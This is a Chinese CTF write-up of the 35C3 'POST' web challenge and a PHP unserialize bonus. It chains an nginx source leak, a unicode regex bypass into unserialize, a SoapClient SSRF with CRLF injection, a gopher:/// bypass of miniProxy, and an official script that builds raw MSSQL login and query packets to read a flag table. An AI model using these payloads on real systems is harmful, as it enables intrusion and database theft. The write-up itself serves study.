之前看到了 35c3 的比赛,但是没时间打,看了看题,发现这个题还是不错的,单独拿出来学习一下
[TOC]
POST
Description
Go make some posts.
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it’s rather hard to configure nginx correctly.
Attacking Steps
这里简述一下攻击链
- nginx misconfiguration
- arbitrary unserialize
- SoapClient SSRF
- SoapClient CRLF injection
- miniProxy URL scheme bypass
- Connect to MSSQL via gopher
- Get flag
Hacking
Nginx Misconfiguration
根据 hint2 ,我们扫目录的时候可以发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| [00:42:47] Starting:
[00:42:47] 400 - 182B - /%2e%2e/google.com
[00:42:52] 301 - 194B - /inc -> http://localhost/inc/
[00:42:52] 403 - 580B - /inc/config.inc
[00:42:52] 403 - 580B - /inc/
[00:42:52] 403 - 580B - /inc/fckeditor
[00:42:52] 403 - 580B - /inc/fckeditor/
[00:42:52] 403 - 580B - /inc/tiny_mce
[00:42:52] 403 - 580B - /inc/tiny_mce/
[00:42:52] 403 - 580B - /inc/tinymce/
[00:42:52] 403 - 580B - /inc/tinymce
[00:42:52] 302 - 0B - /index.php -> /?page=login
[00:42:56] 403 - 580B - /uploads
[00:42:56] 403 - 580B - /uploads/
Task Completed
|
uploads 处发现了两处 403 的地方,而且服务器是 Nginx,而且拿其他一些扫描器也报了目录列举的洞
可以参考Nginx不安全配置可能导致的安全漏洞与三个案例看Nginx配置安全
下载得到源码
Arbitrary Unserialize I
我们可以很明显地在 db.php 中发现反序列化的影子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}
if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}
return $x;
}, $params);
}
private static function retrieve_values($res) {
$result = array();
while ($row = sqlsrv_fetch_array($res)) {
$result[] = array_map(function($x){
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);
}
return $result;
}
|
这里还是比较明显的,但是要怎么构造这个 POP 链呢,我看了一下不是特别明显,也是涉及到了 soapclient 的构造与利用。而且整个构造也需要比较耐心来看,否则会陷入复现都比较懵逼的情况。
首先有反序列化的点,肯定需要有利用的类,否则光有反序列化的点,没有利用的类也没什么用。所以接下来我们需要去找一个可以利用的类。
ByPass Mssql
虽然确定了有反序列化漏洞,但是触发反序列化的条件就是
1
| preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x;
|
虽然前面插入数据有给数据增加$serializedobject$
的地方,但是这里需要数组或者对象,而我们传入的只能是字符串,所以不能利用这个点。
这里怎么绕过对/^\$serializedobject\$/i
的正则判断呢?这里就需要用到 Mssql 的一个特性了。
MSSQL converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.
也就是说,**MSSQL会自动将全角unicode字符转换为ASCII表示形式。**例如,如果字符串包含0xEF 0xBC 0x84
,则将其存储为$
。$s℮rializedobject$
入库后会变成 $serializedobject$
,注意前者的 ℮ 不是 ASCII 的 e,整个字符串的 16 进制如下,可见前者的 ℮ 的 hex 是 E284AE,而后者 e 的 ASCII 是 0x65。
所以我们可以利用这个特性进行绕过,可以用 burp 直接修改十六进制来操作
Soapclient
这里我们简单讲一下 soapclient
public SoapClient::SoapClient ( mixed $wsdl
[, array $options
] )
This constructor creates SoapClient objects in WSDL or non-WSDL mode.
这是一个 php 的内部类,简单来说就是用来创建 soap 数据报文,与 wsdl 接口进行交互的。
其中__call
的魔术方法就比较有意思了
SoapClient::__call
1
| public SoapClient::__call ( string $function_name , array $arguments ) : mixed
|
Calling this method directly is deprecated. Usually, SOAP functions can be called as methods of the SoapClientobject; in situations where this is not possible or additional options are needed, use SoapClient::__soapCall().
当 SoapClient 建立的时候就会调用这个魔术方法。而且还有一点小特性
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
比如我们以下代码:
1
2
3
4
5
6
7
| <?php
$a = new SoapClient(null, array('location' => "http://106.14.153.173:2015",'uri'=> "123"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->hack();
?>
|
当我们直接运行这段代码的时候,就因为调用了一个SoapClient
不存在的方法hack()
导致直接调用了__call()
魔术方法
详细可以参考N1CTF Easy&&Hard Php Writeup
Arbitrary Unserialize II
好的,我们简单的介绍完了soapclient
,接下来我们可以比较明显的看到在 post.php 处有一处类的方法的调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| class Attachment {
private $url = NULL;
private $za = NULL;
private $mime = NULL;
public function __construct($url) {
$this->url = $url;
$this->mime = (new finfo)->file("../".$url);
if (substr($this->mime, 0, 11) == "Zip archive") {
$this->mime = "Zip archive";
$this->za = new ZipArchive;
}
}
public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}
}
|
就是在this->za->open()
处,我们可以充分利用SoapClient
的特点进行构造,然而我们需要触发Attachment
这个类的__toString()
魔术方法,则需要一个echo
的地方,然后发现在 default.php 这里有比较好的利用的点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| <?php
include 'inc/post.php';
?>
<?php
if (isset($_POST["title"])) {
$attachments = array();
if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {
$folder = sha1(random_bytes(10));
mkdir("../uploads/$folder");
for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
if ($_FILES["attach"]["error"][$i] !== 0) continue;
$name = basename($_FILES["attach"]["name"][$i]);
move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
$attachments[] = new Attachment("/uploads/$folder/$name");
}
}
$post = new Post($_POST["title"], $_POST["content"], $attachments);
$post->save();
}
if (isset($_GET["action"])) {
if ($_GET["action"] == "restart") {
Post::truncate();
header("Location: /");
die;
} else {
?>
<?php
}
}
$posts = Post::loadall();
if (empty($posts)) {
echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
} else {
echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
}
foreach($posts as $p) {
echo $p;
echo "<br><br>";
}
?>
|
而且在 post.php 中,class Post
还存在一个这个魔术方法,其中把$attach
拼接到了字符串当中,所以这里是先调用了Post
类的__toString
魔术方法,紧接着调用Attachment
类的__toString
魔术方法,也就可以调用到了$this->za->open()
的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| public function __construct($title, $content, $attachments="") {
$this->title = $title;
$this->content = $content;
$this->attachment = $attachments;
}
public function save() {
global $USER;
if (is_null($this->id)) {
DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
array($USER->uid, $this->title, $this->content, $this->attachment));
} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}
}
public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}
|
而我们看Post::loadall()
,我们可以发现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| public static function load($id) {
global $USER;
$res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
array($USER->uid, $id));
if (!$res) die("db error");
$res = $res[0];
$post = new Post($res["title"], $res["content"], $res["attachment"]);
$post->id = $id;
return $post;
}
public static function loadall() {
global $USER;
$result = array();
$posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
if (!$posts) return $result;
foreach ($posts as $p) {
$result[] = Post::load($p["id"]);
}
return $result;
}
|
loadall()
方法会逐个通过 id 调用load()
方法,根据前面的Post
构造方法与save()
方法,我们可以找到保存attachment
的方式。其实这里因为echo
输出的是$post['title']
、$post['content']
,所以我们也可以放在这两者中,都会触发__toString
的魔术方法
所以大概的流程就是我们通过构造好一个SoapClient
的 payload ,插入之后访问 default.php 触发echo
,调用$this->za->open()
,接着触发SoapClient
的__call()
魔术函数完成一次反序列化攻击。
因为echo
直接调用了反序列化的__toString
魔术方法,我们可以直接利用Attachment
这个类来构造 payload
1
2
3
4
5
6
7
8
9
10
| class Attachment {
private $za = NULL;
public function __construct() {
$this->za = new SoapClient(null,array('location'=>'http://106.14.153.173:2015','uri'=>'123'));
}
}
$c=new Attachment();
$aaa=serialize($c);
echo $aaa."\n";
echo base64_encode($aaa)."\n";
|
利用反序列化的特点,我们可以直接定义私有变量的值,但是字符串中会有不可见字符,实验如下
所以我们需要用base64_encode
进行编码,把编码得到的字符串再在 burp 里面进行解码构造请求。
SoapClient SSRF
根据 hint1 ,flag 在数据库里,源码中含有数据库信息,因此我们可以利用SoapClient
通过 SSRF 打 MSSQL。而题目也给我们提供了 miniProxy.php ,我们可以在 github 上可以看到相关使用说明
miniProxy should be able to run on any web server with PHP 5.4.7 or later. miniProxy requires PHP’s curl
and mbstring
extensions to be installed.
大概就是一个可以让我们访问内部服务的工具。然后我们根据备份文件 default.backup 得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;
if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}
}
|
当我们请求 8080 的时候,请求的是 miniProxy,但是只能用 GET 请求,而我们之前可以发现SoapClient
只能发 POST 请求
这里大概思路也比较清晰了,就是利用 miniProxy 使用 gopher 协议去访问 mssql 数据库拿到 flag ,但是怎么处理让SoapClient
发送 GET 请求呢?
SoapClient CRLF injection
发送 GET 请求我们就不得不又用到SoapClient
的另一个选项
options
An array of options. If working in WSDL mode, this parameter is optional. If working in non-WSDL mode, the location and uri options must be set, where location is the URL of the SOAP server to send the request to, and uri is the target namespace of the SOAP service.
…
The user_agent option specifies string to use in User-Agent header.
而且在 header 里 User-Agent
在 Content-Type
前面,这里我们可以使用 CRLF 进行分隔请求,构造 GET 请求。
miniProxy URL scheme bypass
我们自己本地看看 MiniProxy 怎么用。
随便测一个file:///etc/passwd
,返回
1
| Error: Detected a "file" URL. miniProxy exclusively supports http[s] URLs.
|
然后我们定位到代码区
1
2
3
4
5
6
7
8
9
| $scheme = parse_url($url, PHP_URL_SCHEME);
if (empty($scheme)) {
//Assume that any supplied URLs starting with // are HTTP URLs.
if (strpos($url, "//") === 0) {
$url = "http:" . $url;
}
} else if (!preg_match("/^https?$/i", $scheme)) {
die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.');
}
|
发现是这个地方有个正则判断,开头必须以https
或者http
,然而我们需要用到 gopher 协议,就需要绕过这里。这里也就需要一个小 trick 了
1
2
| $scheme = parse_url($url, PHP_URL_SCHEME); // 遇到 gopher:/// 时会解析失败,返回false
empty($scheme) // empty(false) 为 true
|
这样我们就可以使用gopher:///
绕过die
的限制执行下面的 $response = makeRequest($url);
请求函数了。
这里也可以使用一个 301 进行跳转。
Connect to MSSQL via gopher
怎么构造gopher包呢,这是个比较麻烦的事,之前在另外一个比赛上用 tcpdump 抓自己的 mysql 的数据包然后进行 gopher ,这里也是类似的。这里就不再做了,直接拿官方给的 exp 看看吧。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| // the prelogin and login packets can either be assembled
// by hand if you are into that kind of stuff.
// or you can just use wireshark :)
$prelogin_packet = "\x12\x01\x00\x2f\x00\x00\x01\x00";
$prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20";
$prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03";
$prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00";
$prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01";
$prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00";
$login_packet = "\x10\x01\x00\xde\x00\x00\x01\x00";
$login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74";
$login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00";
$login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00";
$login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff";
$login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00";
$login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00";
$login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00";
$login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00";
$login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00";
$login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00";
$login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00";
$login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00";
$login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00";
$login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00";
$login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5";
$login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5";
$login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00";
$login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00";
$login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00";
$login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00";
$login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00";
$login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00";
$login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00";
// need to add a ;-- - to execute the query successfully,
// because gopher adds a \x0d\x0a to the end of the request
// and for some reaason the query does not execute if we don't
// comment that out
$query = $argv[1] . ";-- -";
$query = mb_convert_encoding($query, "utf-16le");
// the length of the packet is the length of the query +
// the length of the header (30 bytes) + the \x0d\x0a added
// by gopher protocol
$length = strlen($query) + 30 + 2;
$query_packet = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00";
$query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00";
$query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00";
$query_packet .= "\x00\x00\x01\x00\x00\x00";
$query_packet .= $query;
$payload = $prelogin_packet . $login_packet . $query_packet;
|
可以看到这里需要加入一个;-- -
,是为了注释掉\x0a\x0a
,这是 gopher 自动添加的内容,不然 query 无法成功执行。
Get Flag
基本的利用点都分析完了,最后这道题还比较良心地在 bootstrap.php 中设置了
1
| if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);
|
可以看到自己的 UID
这个可以用来干嘛呢?当然是用来注入了啦,直接在自己的 post 中获取相关的信息
1
| insert into posts (userid, title, content, attachment) values ({}, "foobar", (select flag from flag.flag), "foobar");
|
Conclusion
整个复现完还是感觉比较有难度的,特别是整个构造链都比较有意思。通过SoapClient
反序列化到 gopher SSRF 到 CRLF 再到 Get Flag,整个流程需要的技巧以及对自己的能力要求比较高,整体下来学习了不少。主要都是与SoapClient
相关,还是比较 Nice 的题目,也重新认识了反序列化漏洞。整体都比较赞。
php — Bonus
Description
PHP’s unserialization mechanism can be exceptional.
给个 bonus 吧,也算是一道简单的序列化题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
$line = trim(fgets(STDIN));
$flag = file_get_contents('/flag');
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = @unserialize($line);
throw new Exception('Well that was unexpected…');
echo $a;
?>
|
Hacking
Php 正常的类调用析构函数一般会在脚本结束的时候,然而这里要想拿到 flag ,就需要调用析构函数。然而unserialize
正常解析类的时候不会调用析构函数,但是当解析出错的时候,如果类名是正确的,就会调用这个类的析构函数,比如正常序列化出来的类是这样的O:1:"B":0:{}
,只要我们让他解析出错就可以调用析构函数了,所以以下随便用一个就好了
1
2
| O:1:"B":0:{
O:1:"B":1:{}
|